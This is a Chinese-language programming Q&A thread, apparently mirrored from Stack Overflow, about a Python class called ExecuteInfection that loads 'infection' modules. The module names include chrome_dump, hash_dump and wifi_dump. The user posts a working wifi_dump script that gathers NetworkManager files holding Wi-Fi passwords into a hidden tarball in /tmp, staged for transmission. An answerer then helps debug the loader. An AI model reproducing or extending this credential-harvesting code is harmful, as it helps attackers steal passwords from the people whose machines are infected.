2017-08-05 23 views
1

首先讓我解釋一下我正在嘗試做什麼,我想創建一個類來從某個目錄(如果該文件存在)導入文件, ,並將該文件作爲腳本運行。例如:創建一個類來導入腳本並運行該類中的腳本

class RunScript(object): 

    def __init(self, script): 
     if script in someListThatContainsScriptNamesProbablyJSONFile: 
      self.script = # do something fancy and import the script 

    def run_exec(self): 
     # do something and execute the script maybe subprocess? 

所以我的問題是,我該如何成功地從這個類運行腳本?我真的不想使用子流程,因爲我認爲它可能看起來有點亂,有另一種方法可以做到這一點嗎?如果不是,那麼使用子處理就完全沒問題。

我試過到目前爲止:

import os 


__all__ = [ 
    "ask_pass", "chrome_dump", "firefox_dump", 
    "hash_dump", "wifi_dump" 
] 
script_path = "{}/opts/infection_opt/{}" 


class ExecuteInfection(object): 

    @staticmethod 
    def __fix_filename(filename): 
     if ".py" in filename: 
      ext_index = filename.index(".") 
      return filename[ext_index:-1] 

    def __init__(self, script): 
     if ExecuteInfection(script).__fix_filename(script) in __all__: 
      self.script = __import__(script_path.format(os.getcwd(), script)) 
     else: 
      raise ImportError("{} is not a valid infection operation script.".format(script)) 

然而,這在運行時,我得到一個錯誤說:

if ExecuteInfection(script).__fix_filename(script) in __all__: 
    RuntimeError: maximum recursion depth exceeded 

在參考意見,回答,在這裏是我將要導入的腳本之一

import os 
import tarfile 
import string 
import random 


def _find_config_files(path="/etc/NetworkManager/system-connections"): 
    """ 
     Find the configuration files that contain the Wifi passwords 

     > :param path: path to the configuration files 
     > :return: True and the files or False and None if nothing found 

     Example: 
     >>> _find_config_files() 
     (True, set(['AgE1a2', 'AISNetwork2', 'BBB1ffC9ce', 'AISNetwork1'])) 

    """ 
    found_files = set() 
    if os.path.exists(path): 
     for item in os.listdir(path): 
      found_files.add(os.path.join(path, item)) 
     return True, found_files 
    return False, None 


def _make_tar(status, _file_start="nm_log_{}.tar.gz", tmp_dir="/tmp/{}"): 
    """ 
     Create a tar file and store it in the temp directory for processing 
     and transmitting 

     > :param status: the status and the files found 
     > :param _file_start: the start of the name of the tar file 
     > :param tmp_dir: path to the temp directory to be formatted 
     > :return: full path to the created filename or None 
    """ 

    def __rand_filename(_start, ints=string.digits, length=4): 
     """ 
      Create a random filename for the tarfile 

      > :param _start: start of the filename 
      > :param ints: the acceptable numbers to be used 
      > :param length: the length of the filename 
      > :return: a random filename 

      Example 
      >>> _make_tar((True, set(["test.txt"]))).__rand_filename(_file_start) 
      nm_log_4768.tar.gz 
     """ 
     _finalize = [random.choice(ints) for _ in range(length)] 
     return _start.format(''.join(_finalize)) 

    filename = __rand_filename(_file_start) 
    file_path = tmp_dir.format(filename) 

    if status[0]: 
     with tarfile.open(file_path, "w:gz") as tar: 
      for f in status[1]: 
       tar.add(f) 

     return file_path 
    else: 
     print(
      "no tarball could be created, it appears that no files could be found " 
      "assuming that the files don't exist and this person has no idea what " 
      "the internet is, get out now." 
     ) # todo:/ change to log 
     return None 


def main(): 
    """ main function of the script """ 
    data_found = _find_config_files() 
    filename = _make_tar(data_found) 
    if filename is not None: 
     return filename 


if __name__ == "__main__": 
    main() 
+0

您嘗試導入自制的腳本?它看起來像這個問題,而不是在這些腳本內:使用「啞」使我認爲你正在試圖刪除的東西,你可能會做遞歸。 有沒有辦法使它超過999個遞歸步驟?正如錯誤消息所述,python有一個限制。 –

+0

換句話說,如果你有這個錯誤,看到導入這個錯誤的腳本將會很好。 –

+0

@Alceste_對於延遲響應抱歉,我可以繼續發佈我正在導入的其中一個腳本。一秒 –

回答

0

正如我在評論中所說的,問題似乎在於您正在導入的腳本中,而不是您的導入算法。 ()當一個python腳本被導入時,它會被執行,所以如果你的腳本中沒有類或函數的東西,並且這些東西都失敗了,那麼這個錯誤信息可能會指向你的導入而不是問題。

但是,它也可能是其他的東西(例如,真正瘋狂的文件結構,導入大量的強制導入模塊需要通過數百次調用),所以這將有助於查看您的腳本導入的確如此(你可以仔細檢查導入的內容,python的某些實現可能不會阻止同一模塊的遞歸導入)

有了這些信息,可以爲你提供更好的insig ht正在發生的事情(這是一個答案,因爲我需要一些時間,但是我希望你能讓我用比簡單的建議更好的東西來編輯它,比如一個實際的解決方案)。

你說你不想使用子流程,但是如果你不嘗試直接導入腳本,你可能會想嘗試如果問題仍然發生。嘗試:

  1. 讀取文件的文本,然後使用 compile function生成字節代碼,那麼你將能夠與沿EXEC東西線執行(但不要讓它成爲你最後的除非你只是從代碼中自己生成腳本,否則用戶可以修改它...)

  2. 使用帶有沿着python full/path/to/script行的命令的系統作爲參數。 (http://docs.python.org/library/os.html#os.system

感謝您對這些人的回報,希望它能幫助您找到問題所在。

+0

我添加了一個腳本的問題,我希望有所幫助。這些腳本實際上並沒有從內置軟件包中進行任何導入,我認爲這不應該是一個問題。我認爲系統調用會使代碼看起來有點不好,但總是值得一試。感謝您的回答和想法 –

+0

鑑於您給我們的代碼,我似乎無法找到導致文件導入存在遞歸問題的原因。 。 。 你試過其他的東西嗎?它們是否工作?它們確實可能被某些人認爲是不好的代碼,但它們在試圖確定問題更準確的地方時非常有用。 :P –

相關問題